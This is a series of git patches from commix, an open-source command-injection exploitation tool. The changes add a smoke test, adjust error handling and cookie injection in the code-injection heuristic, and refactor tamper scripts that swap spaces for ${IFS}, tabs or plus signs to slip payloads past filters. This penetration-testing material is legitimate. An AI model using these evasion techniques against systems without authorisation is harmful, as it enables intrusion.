exc_msg.strip().split('\n')[-1] + "'). " - err_msg += "You should retrieve the latest development version from official GitHub " - err_msg += "repository at '" + settings.GIT_URL + "'." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - elif "must be pinned buffer, not bytearray" in exc_msg: err_msg = "Error occurred at Python interpreter which " err_msg += "is fixed in 2.7.x. Please update accordingly. " @@ -199,6 +192,13 @@ def unhandled_exception(): print(settings.print_critical_msg(err_msg)) raise SystemExit() + elif "Invalid argument" in exc_msg: + err_msg = "Corrupted installation detected. " + err_msg += "You should retrieve the latest (dev) version from official GitHub " + err_msg += "repository at '" + settings.GIT_URL + "'." + print(settings.print_critical_msg(err_msg)) + raise SystemExit() + elif all(_ in exc_msg for _ in ("No such file", "_'")): err_msg = "Corrupted installation detected ('" + exc_msg.strip().split('\n')[-1] + "'). " err_msg += "You should retrieve the latest (dev) version from official GitHub " diff --git a/src/utils/settings.py b/src/utils/settings.py index 5b83ffa606..6d42185cf1 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -216,7 +216,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.4" -REVISION = "16" +REVISION = "17" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 0ea50034164755c0c16885b7f6c0ec8c6529f8ba Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 29 Oct 2021 09:26:15 +0300 Subject: [PATCH 018/560] Improvement regarding mechanism which nagging if used "dev" version is > 30 days old. --- doc/CHANGELOG.md | 1 + src/core/main.py | 3 ++- src/utils/settings.py | 2 +- 3 files changed, 4 insertions(+), 2 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 5416217ce1..cf91aefc46 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 3.4 (TBA) +* Revised: Improvement regarding mechanism which nagging if used "dev" version is > 30 days old. * Revised: Improvements regarding dynamic code evaluation heuristic check. * Replaced: The `--encoding` option has been replaced with `--codec`. diff --git a/src/core/main.py b/src/core/main.py index 8cf11964fd..5260966071 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -637,7 +637,8 @@ def main(filename, url): # Get total number of days from last update if os.path.isfile(settings.SETTINGS_PATH): - common.days_from_last_update() + if settings.STABLE_RELEASE == False: + common.days_from_last_update() # Define the level of verbosity. if menu.options.verbose > 4: diff --git a/src/utils/settings.py b/src/utils/settings.py index 6d42185cf1..284000b89a 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -216,7 +216,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.4" -REVISION = "17" +REVISION = "18" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From d95b052843b0f42e55f08fb46fa137d88f88f6dd Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 1 Nov 2021 08:26:07 +0200 Subject: [PATCH 019/560] Added a new (hidden) option `--smoke-test` that runs the basic smoke testing. --- .github/workflows/builds.yml | 2 ++ doc/CHANGELOG.md | 1 + src/core/main.py | 6 +++++ src/core/testing.py | 51 ++++++++++++++++++++++++++++++++++++ src/utils/menu.py | 7 +++++ src/utils/settings.py | 4 ++- 6 files changed, 70 insertions(+), 1 deletion(-) create mode 100644 src/core/testing.py diff --git a/.github/workflows/builds.yml b/.github/workflows/builds.yml index f4f0ee6120..e70e2e3e08 100644 --- a/.github/workflows/builds.yml +++ b/.github/workflows/builds.yml @@ -19,3 +19,5 @@ jobs: python-version: ${{ matrix.python-version }} - name: Basic import test run: python -c "import commix" + - name: Basic smoke test + run: python commix.py --smoke-test \ No newline at end of file diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index cf91aefc46..d4b3abc27a 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 3.4 (TBA) +* Added: New (hidden) option `--smoke-test` that runs the basic smoke testing. * Revised: Improvement regarding mechanism which nagging if used "dev" version is > 30 days old. * Revised: Improvements regarding dynamic code evaluation heuristic check. * Replaced: The `--encoding` option has been replaced with `--codec`. diff --git a/src/core/main.py b/src/core/main.py index 5260966071..6bcdf94ef9 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -37,6 +37,7 @@ from src.utils import session_handler from src.utils import simple_http_server from src.thirdparty.colorama import Fore, Back, Style, init +from src.core.testing import smoke_test from src.core.requests import tor from src.core.requests import proxy from src.core.requests import headers @@ -59,6 +60,7 @@ # Use Colorama to make Termcolor work on Windows too :) init() + """ Define HTTP User-Agent header. """ @@ -627,6 +629,10 @@ def main(filename, url): #raise SystemExit() try: + + if menu.options.smoke_test: + smoke_test() + # Check if defined "--version" option. if menu.options.version: version.show_version() diff --git a/src/core/testing.py b/src/core/testing.py new file mode 100644 index 0000000000..c3ecf26a51 --- /dev/null +++ b/src/core/testing.py @@ -0,0 +1,51 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import re +import os +import sys +from src.utils import settings + +""" +Runs the basic smoke testing +""" +def smoke_test(): + _ = True + file_paths = [] + for root, directories, filenames in os.walk(settings.COMMIX_ROOT_PATH): + file_paths.extend([os.path.abspath(os.path.join(root, i)) for i in filenames]) + + for filename in file_paths: + if os.path.splitext(filename)[1].lower() == ".py" and not "__init__.py" in filename: + path = os.path.join(settings.COMMIX_ROOT_PATH, os.path.splitext(filename)[0]) + path = path.replace(settings.COMMIX_ROOT_PATH, '.') + path = path.replace(os.sep, '.').lstrip('.') + if "." in path: + try: + __import__(path) + except Exception as ex: + error_msg = "Failed while importing module '" + path + "' (" + str(ex) + ")." + print(settings.print_error_msg(error_msg)) + _ = False + + if _: + status = "succeeded without any issues" + else: + status = "failed" + info_msg = "The smoke-test has been " + status + "." + print(settings.print_info_msg(info_msg)) + raise SystemExit() + + diff --git a/src/utils/menu.py b/src/utils/menu.py index ab554450e9..793d89e96e 100755 --- a/src/utils/menu.py +++ b/src/utils/menu.py @@ -18,6 +18,7 @@ from src.utils import settings from optparse import OptionGroup from optparse import OptionParser +from optparse import SUPPRESS_HELP as SUPPRESS from src.thirdparty.six.moves import input as _input from src.thirdparty.colorama import Fore, Back, Style, init @@ -598,6 +599,12 @@ def banner(): default=False, help="Disable console output coloring.") + # Hidden options +parser.add_option("--smoke-test", + action="store_true", + dest="smoke_test", + help=SUPPRESS) + parser.add_option_group(general) parser.add_option_group(target) parser.add_option_group(request) diff --git a/src/utils/settings.py b/src/utils/settings.py index 284000b89a..0637679274 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -216,7 +216,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.4" -REVISION = "18" +REVISION = "19" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" @@ -340,6 +340,8 @@ def sys_argv_errors(): # Git issue URL. ISSUES_PAGE = "https://github.com/commixproject/" + APPLICATION + "/issues/new" +COMMIX_ROOT_PATH = os.path.abspath(os.curdir) + # Output Directory OUTPUT_DIR = ".output/" From d8d6f88718124584fb5b221391c643316ae7295e Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 2 Nov 2021 07:44:54 +0200 Subject: [PATCH 020/560] Minor refactoring --- src/core/injections/controller/checks.py | 17 +++++++++++++- src/core/tamper/space2htab.py | 12 +++++----- src/core/tamper/space2ifs.py | 28 ++++++++++++++---------- src/core/tamper/space2plus.py | 16 +++++++++----- src/core/tamper/space2vtab.py | 21 ++++++++++-------- src/utils/settings.py | 2 +- 6 files changed, 62 insertions(+), 34 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index cfdb17ce4c..ea88d36d74 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -992,7 +992,7 @@ def whitespace_check(payload): if menu.options.tamper: menu.options.tamper = menu.options.tamper + ",space2htab" else: - menu.options.tamper = "space2htab" + menu.options.tamper = "space2htab" settings.WHITESPACES[0] = "%09" # Enable the "space2vtab" tamper script. @@ -1238,6 +1238,21 @@ def perform_payload_modification(payload): from src.core.tamper import hexencode payload = hexencode.tamper(payload) + for encode_type in list(set(settings.MULTI_ENCODED_PAYLOAD[::-1])): + # Encode spaces. + if encode_type == 'space2ifs': + from src.core.tamper import space2ifs + payload = space2ifs.tamper(payload) + if encode_type == 'space2plus': + from src.core.tamper import space2plus + payload = space2plus.tamper(payload) + if encode_type == 'space2htab': + from src.core.tamper import space2htab + payload = space2htab.tamper(payload) + if encode_type == 'space2vtab': + from src.core.tamper import space2vtab + payload = space2vtab.tamper(payload) + return payload """ diff --git a/src/core/tamper/space2htab.py b/src/core/tamper/space2htab.py index d7aeb11eb9..c37d3e4bd9 100644 --- a/src/core/tamper/space2htab.py +++ b/src/core/tamper/space2htab.py @@ -22,10 +22,12 @@ __tamper__ = "space2htab" -settings.TAMPER_SCRIPTS[__tamper__] = True -if settings.WHITESPACES[0] == "%20": - settings.WHITESPACES[0] = "%09" -else: - settings.WHITESPACES.append("%09") +def tamper(payload): + settings.TAMPER_SCRIPTS[__tamper__] = True + if settings.WHITESPACES[0] == "%20": + settings.WHITESPACES[0] = "%09" + else: + settings.WHITESPACES.append("%09") + return payload # eof \ No newline at end of file diff --git a/src/core/tamper/space2ifs.py b/src/core/tamper/space2ifs.py index 0df13643a2..a5d58e1fe1 100644 --- a/src/core/tamper/space2ifs.py +++ b/src/core/tamper/space2ifs.py @@ -25,16 +25,20 @@ __tamper__ = "space2ifs" -if settings.TARGET_OS != "win": - settings.TAMPER_SCRIPTS[__tamper__] = True - if settings.WHITESPACES[0] == "%20": - settings.WHITESPACES[0] = "${IFS}" +def tamper(payload): + if settings.TARGET_OS != "win": + settings.TAMPER_SCRIPTS[__tamper__] = True + if settings.WHITESPACES[0] == "%20": + settings.WHITESPACES[0] = "${IFS}" + else: + settings.WHITESPACES.append("${IFS}") else: - settings.WHITESPACES.append("${IFS}") -else: - warn_msg = "Windows target host(s), does not support the '"+ __tamper__ +".py' tamper script." - sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) - sys.stdout.flush() - print - -# eof \ No newline at end of file + if settings.TRANFROM_PAYLOAD == None: + settings.TRANFROM_PAYLOAD = False + warn_msg = "Windows target host(s), does not support the '"+ __tamper__ +".py' tamper script." + sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) + sys.stdout.flush() + print + return payload + +# eof diff --git a/src/core/tamper/space2plus.py b/src/core/tamper/space2plus.py index 27dc3cc22a..16efec438d 100644 --- a/src/core/tamper/space2plus.py +++ b/src/core/tamper/space2plus.py @@ -22,10 +22,14 @@ __tamper__ = "space2plus" -settings.TAMPER_SCRIPTS[__tamper__] = True -if settings.WHITESPACES[0] == "%20": - settings.WHITESPACES[0] = "+" -else: - settings.WHITESPACES.append("+") - +if not settings.TAMPER_SCRIPTS[__tamper__]: + settings.TAMPER_SCRIPTS[__tamper__] = True + +def tamper(payload): + settings.TAMPER_SCRIPTS[__tamper__] = True + if settings.WHITESPACES[0] == "%20": + settings.WHITESPACES[0] = "+" + else: + settings.WHITESPACES.append("+") + return payload # eof \ No newline at end of file diff --git a/src/core/tamper/space2vtab.py b/src/core/tamper/space2vtab.py index 7d535c8375..fc6e610e34 100644 --- a/src/core/tamper/space2vtab.py +++ b/src/core/tamper/space2vtab.py @@ -22,14 +22,17 @@ __tamper__ = "space2vtab" -if settings.TARGET_OS == "win": - settings.TAMPER_SCRIPTS[__tamper__] = True - if settings.WHITESPACES[0] == "%20": - settings.WHITESPACES[0] = "%0b" +def tamper(payload): + if settings.TARGET_OS == "win": + settings.TAMPER_SCRIPTS[__tamper__] = True + if settings.WHITESPACES[0] == "%20": + settings.WHITESPACES[0] = "%0b" + else: + settings.WHITESPACES.append("%0b") else: - settings.WHITESPACES.append("%0b") -else: - warn_msg = "Unix target host(s), does not support vertical tab(s)." - print(settings.print_warning_msg(warn_msg)) - + if settings.TRANFROM_PAYLOAD == None: + settings.TRANFROM_PAYLOAD = False + warn_msg = "Unix target host(s), does not support vertical tab(s)." + print(settings.print_warning_msg(warn_msg)) + return payload # eof \ No newline at end of file diff --git a/src/utils/settings.py b/src/utils/settings.py index 0637679274..ab7eb5b2d5 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -216,7 +216,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.4" -REVISION = "19" +REVISION = "20" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 763b11e2157b4e2aab6d9551c88c9e95ae8c6af4 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 3 Nov 2021 09:47:28 +0200 Subject: [PATCH 021/560] Minor update --- src/core/testing.py | 17 ++++++++++++----- src/utils/settings.py | 8 +++++++- 2 files changed, 19 insertions(+), 6 deletions(-) diff --git a/src/core/testing.py b/src/core/testing.py index c3ecf26a51..ab7ce8547d 100644 --- a/src/core/testing.py +++ b/src/core/testing.py @@ -22,6 +22,9 @@ Runs the basic smoke testing """ def smoke_test(): + info_msg = "Executing smoke test." + print(settings.print_info_msg(info_msg)) + _ = True file_paths = [] for root, directories, filenames in os.walk(settings.COMMIX_ROOT_PATH): @@ -35,17 +38,21 @@ def smoke_test(): if "." in path: try: __import__(path) + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Succeeded importing '" + str(path) + "' module." + print(settings.print_debug_msg(debug_msg)) except Exception as ex: - error_msg = "Failed while importing module '" + path + "' (" + str(ex) + ")." + error_msg = "Failed importing '" + path + "' module due to '" + str(ex) + "'." print(settings.print_error_msg(error_msg)) _ = False + result = "Smoke test " if _: - status = "succeeded without any issues" + result = result + "passed." + print(settings.print_bold_info_msg(result)) else: - status = "failed" - info_msg = "The smoke-test has been " + status + "." - print(settings.print_info_msg(info_msg)) + result = result + "failed." + print(settings.print_bold_error_msg(result)) raise SystemExit() diff --git a/src/utils/settings.py b/src/utils/settings.py index ab7eb5b2d5..e24411ede7 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -53,6 +53,7 @@ class HTTPMETHOD(object): WARNING_SIGN = "[" + Fore.LIGHTYELLOW_EX + "warning" + Style.RESET_ALL + "] " WARNING_BOLD_SIGN = "[" + Style.BRIGHT + Fore.YELLOW + "warning" + Style.RESET_ALL + "] " + Style.BRIGHT ERROR_SIGN = "[" + Fore.RED + "error" + Style.RESET_ALL + "] " +ERROR_BOLD_SIGN = "[" + Style.BRIGHT + Fore.RED + "error" + Style.RESET_ALL + "] " CRITICAL_SIGN = "[" + Back.RED + "critical" + Style.RESET_ALL + "] " PAYLOAD_SIGN = "[" + Fore.CYAN + "payload" + Style.RESET_ALL + "] " SUB_CONTENT_SIGN = " " * 7 + Fore.GREY + "|_ " + Style.RESET_ALL @@ -67,6 +68,11 @@ def print_error_msg(err_msg): result = ERROR_SIGN + str(err_msg) + Style.RESET_ALL return result +# Print error message +def print_bold_error_msg(err_msg): + result = ERROR_BOLD_SIGN + Style.BRIGHT + str(err_msg) + Style.RESET_ALL + return result + # Print critical error message def print_critical_msg(err_msg): result = CRITICAL_SIGN + str(err_msg) + Style.RESET_ALL @@ -216,7 +222,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.4" -REVISION = "20" +REVISION = "21" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From cfab07fc2422090de56de9eee8944d721a32bfc4 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 4 Nov 2021 08:43:54 +0200 Subject: [PATCH 022/560] Minor update --- src/core/main.py | 6 +++--- src/utils/settings.py | 2 +- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/src/core/main.py b/src/core/main.py index 6bcdf94ef9..089e1d72d0 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -630,9 +630,6 @@ def main(filename, url): try: - if menu.options.smoke_test: - smoke_test() - # Check if defined "--version" option. if menu.options.version: version.show_version() @@ -655,6 +652,9 @@ def main(filename, url): else: settings.VERBOSITY_LEVEL = menu.options.verbose + if menu.options.smoke_test: + smoke_test() + if not menu.options.batch: settings.OS_CHECKS_NUM = 1 for os_checks_num in range(0, int(settings.OS_CHECKS_NUM)): diff --git a/src/utils/settings.py b/src/utils/settings.py index e24411ede7..8e2d35b61e 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -222,7 +222,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.4" -REVISION = "21" +REVISION = "22" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 0b5218e405b7aa8a17abbdb3ff4c8f5412f7e89a Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 24 Nov 2021 18:49:41 +0200 Subject: [PATCH 023/560] Minor update regarding basic heuristic detection (for code injection). --- src/core/injections/controller/controller.py | 6 +++++- src/utils/settings.py | 2 +- 2 files changed, 6 insertions(+), 2 deletions(-) diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 6b0b69ca4c..0073821f90 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -241,6 +241,9 @@ def filebased_command_injection_technique(url, timesec, filename, http_request_m Proceed to the injection process for the appropriate parameter. """ def injection_proccess(url, check_parameter, http_request_method, filename, timesec): + inject_http_headers = False + if any(x in check_parameter.lower() for x in settings.HTTP_HEADERS): + inject_http_headers = True if menu.options.ignore_code: info_msg = "Ignoring '" + str(menu.options.ignore_code) + "' HTTP error code. " @@ -278,7 +281,8 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time if not settings.LOAD_SESSION: if (len(menu.options.tech) == 0 or "e" in menu.options.tech): # Check for identified warnings - url = heuristic_basic(url, http_request_method) + if not inject_http_headers: + url = heuristic_basic(url, http_request_method) if settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_PHPINFO: while True: if not menu.options.batch: diff --git a/src/utils/settings.py b/src/utils/settings.py index 8e2d35b61e..639a5edfc8 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -222,7 +222,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.4" -REVISION = "22" +REVISION = "23" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 6c75512ca6c4e909db7d520b8bd1fab8c2992601 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sun, 28 Nov 2021 11:08:56 +0200 Subject: [PATCH 024/560] Fixes https://github.com/commixproject/commix/issues/715 --- src/core/requests/headers.py | 12 +++++++++--- src/utils/settings.py | 2 +- 2 files changed, 10 insertions(+), 4 deletions(-) diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index ce837e8dd4..368a2dbf40 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -188,15 +188,21 @@ def https_open(self, req): if [True for err_code in settings.HTTP_ERROR_CODES if err_code in str(err_msg)]: break - except (_urllib.error.URLError, _http_client.BadStatusLine) as err_msg: + except (_urllib.error.URLError, _http_client.BadStatusLine, http.client.IncompleteRead) as err_msg: if current_attempt == 0: if settings.VERBOSITY_LEVEL < 2 and "has closed the connection" in str(err_msg): print(settings.SINGLE_WHITESPACE) - warn_msg = "The provided target URL seems not reachable. " - warn_msg += "In case that it is, please try to re-run using " + + if "IncompleteRead" in str(err_msg): + warn_msg = "There was an incomplete read error while retrieving data " + warn_msg += "from the target URL " + else: + warn_msg = "The provided target URL seems not reachable. " + warn_msg += "In case that it is, please try to re-run using " if not menu.options.random_agent: warn_msg += "'--random-agent' switch and/or " warn_msg += "'--proxy' option." + print(settings.print_warning_msg(warn_msg)) info_msg = settings.APPLICATION.capitalize() + " is going to retry the request(s)." print(settings.print_info_msg(info_msg)) diff --git a/src/utils/settings.py b/src/utils/settings.py index 639a5edfc8..b3f2e7a4d0 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -222,7 +222,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.4" -REVISION = "23" +REVISION = "24" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 6fc2c25905f0073bcc39963df95a47b2d2736527 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 29 Nov 2021 09:28:31 +0200 Subject: [PATCH 025/560] Fixes https://github.com/commixproject/commix/issues/718 --- src/core/requests/headers.py | 2 +- src/utils/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index 368a2dbf40..cec443df94 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -188,7 +188,7 @@ def https_open(self, req): if [True for err_code in settings.HTTP_ERROR_CODES if err_code in str(err_msg)]: break - except (_urllib.error.URLError, _http_client.BadStatusLine, http.client.IncompleteRead) as err_msg: + except (_urllib.error.URLError, _http_client.BadStatusLine, _http_client.IncompleteRead) as err_msg: if current_attempt == 0: if settings.VERBOSITY_LEVEL < 2 and "has closed the connection" in str(err_msg): print(settings.SINGLE_WHITESPACE) diff --git a/src/utils/settings.py b/src/utils/settings.py index b3f2e7a4d0..03e81fc102 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -222,7 +222,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.4" -REVISION = "24" +REVISION = "25" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 85e6836530e680c9f00707ab532eb3df3122a4b2 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sat, 4 Dec 2021 11:15:30 +0200 Subject: [PATCH 026/560] Fixes https://github.com/commixproject/commix/issues/716 --- src/core/injections/controller/checks.py | 5 +++++ src/utils/settings.py | 2 +- 2 files changed, 6 insertions(+), 1 deletion(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index ea88d36d74..2dfce50f48 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -95,6 +95,11 @@ def load_cmd_history(): except (IOError, AttributeError) as e: warn_msg = "There was a problem loading the history file '" + cli_history + "'." print(settings.print_warning_msg(warn_msg)) + except UnicodeError: + if settings.IS_WINDOWS: + warn_msg = "There was a problem loading the history file '" + cli_history + "'. " + warn_msg += "More info can be found at 'https://github.com/pyreadline/pyreadline/issues/30'" + print(settings.print_warning_msg(warn_msg)) # If the value has boundaries. def value_boundaries(value): diff --git a/src/utils/settings.py b/src/utils/settings.py index 03e81fc102..83026ac720 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -222,7 +222,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.4" -REVISION = "25" +REVISION = "26" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From cff9c1a0e0b238dbea5d24c7dff12d0971ad8fd3 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 6 Dec 2021 09:29:11 +0200 Subject: [PATCH 027/560] Minor update regarding basic heuristic detection (for code injection) --- src/core/injections/controller/controller.py | 14 ++++++++++---- src/utils/settings.py | 2 +- 2 files changed, 11 insertions(+), 5 deletions(-) diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 0073821f90..dfcbb70ee1 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -95,13 +95,19 @@ def heuristic_basic(url, http_request_method): payload = checks.perform_payload_modification(payload) if settings.VERBOSITY_LEVEL >= 1: print(settings.print_payload(payload)) - if not menu.options.data: - request = _urllib.request.Request(url.replace(settings.INJECT_TAG, payload)) + data = None + cookie = None + if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: + cookie = menu.options.cookie.replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC) + elif menu.options.data: + data = menu.options.data.replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC) else: - data = menu.options.data.replace(settings.INJECT_TAG, payload) - request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC)) + if settings.INJECT_TAG in url: + url = url.replace(settings.INJECT_TAG, payload) + request = _urllib.request.Request(url, data, headers={"Cookie": cookie}) headers.do_check(request) response = requests.get_request_response(request) + if type(response) is not bool: html_data = checks.page_encoding(response, action="decode") match = re.search(settings.CODE_INJECTION_PHPINFO, html_data) diff --git a/src/utils/settings.py b/src/utils/settings.py index 83026ac720..c64e8f8d61 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -222,7 +222,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.4" -REVISION = "26" +REVISION = "27" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From b9892ea70d99050a329facccea6543bea3d8feb7 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 10 Dec 2021 19:11:07 +0200 Subject: [PATCH 028/560] Fixes https://github.com/commixproject/commix/issues/721 --- src/core/requests/proxy.py | 5 +++++ src/utils/settings.py | 2 +- 2 files changed, 6 insertions(+), 1 deletion(-) diff --git a/src/core/requests/proxy.py b/src/core/requests/proxy.py index dc6bf64891..4cfd6ca4a0 100644 --- a/src/core/requests/proxy.py +++ b/src/core/requests/proxy.py @@ -14,6 +14,7 @@ """ import sys +import socket from src.utils import menu from src.utils import settings from src.core.requests import headers @@ -41,6 +42,10 @@ def do_check(url): err_msg = "Unable to connect to the target URL or proxy." print(settings.print_critical_msg(err_msg)) raise SystemExit() + except socket.timeout: + err_msg = "The connection to target URL or proxy has timed out." + print(settings.print_critical_msg(err_msg) + "\n") + raise SystemExit() """ Use the defined HTTP Proxy diff --git a/src/utils/settings.py b/src/utils/settings.py index c64e8f8d61..6506ab8646 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -222,7 +222,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.4" -REVISION = "27" +REVISION = "28" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 43382758c3d743fa06c5252f6e9d91811f400ae1 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 13 Dec 2021 09:55:55 +0200 Subject: [PATCH 029/560] Minor update --- src/core/injections/controller/parser.py | 9 +++++---- src/utils/settings.py | 2 +- 2 files changed, 6 insertions(+), 5 deletions(-) diff --git a/src/core/injections/controller/parser.py b/src/core/injections/controller/parser.py index c9c8bd5a89..1d095c11b2 100755 --- a/src/core/injections/controller/parser.py +++ b/src/core/injections/controller/parser.py @@ -195,13 +195,14 @@ def invalid_data(request): if single_request: sys.stdout.write(settings.SUCCESS_STATUS + "\n") sys.stdout.flush() - if menu.options.logfile: - info_msg = "Parsed target from '" + os.path.split(request_file)[1] + "' for tests :" - print(settings.print_info_msg(info_msg)) + if menu.options.logfile and settings.VERBOSITY_LEVEL != 0: sub_content = http_method + " " + prefix + menu.options.host + request_url print(settings.print_sub_content(sub_content)) + if menu.options.cookie: + sub_content = "Cookie: " + menu.options.cookie + print(settings.print_sub_content(sub_content)) if menu.options.data: - sub_content = "Data: " + menu.options.data + sub_content = "POST data: " + menu.options.data print(settings.print_sub_content(sub_content)) # eof \ No newline at end of file diff --git a/src/utils/settings.py b/src/utils/settings.py index 6506ab8646..517a0f15d2 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -222,7 +222,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.4" -REVISION = "28" +REVISION = "29" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 4104e81dd9d408e2c76c8b6efbb342450aa176c8 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sat, 18 Dec 2021 10:27:39 +0200 Subject: [PATCH 030/560] Minor fix regarding commit: https://github.com/commixproject/commix/commit/cff9c1a0e0b238dbea5d24c7dff12d0971ad8fd3 --- src/core/injections/controller/controller.py | 5 +++-- src/utils/settings.py | 2 +- 2 files changed, 4 insertions(+), 3 deletions(-) diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index dfcbb70ee1..d23b244563 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -97,14 +97,15 @@ def heuristic_basic(url, http_request_method): print(settings.print_payload(payload)) data = None cookie = None + tmp_url = url if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: cookie = menu.options.cookie.replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC) 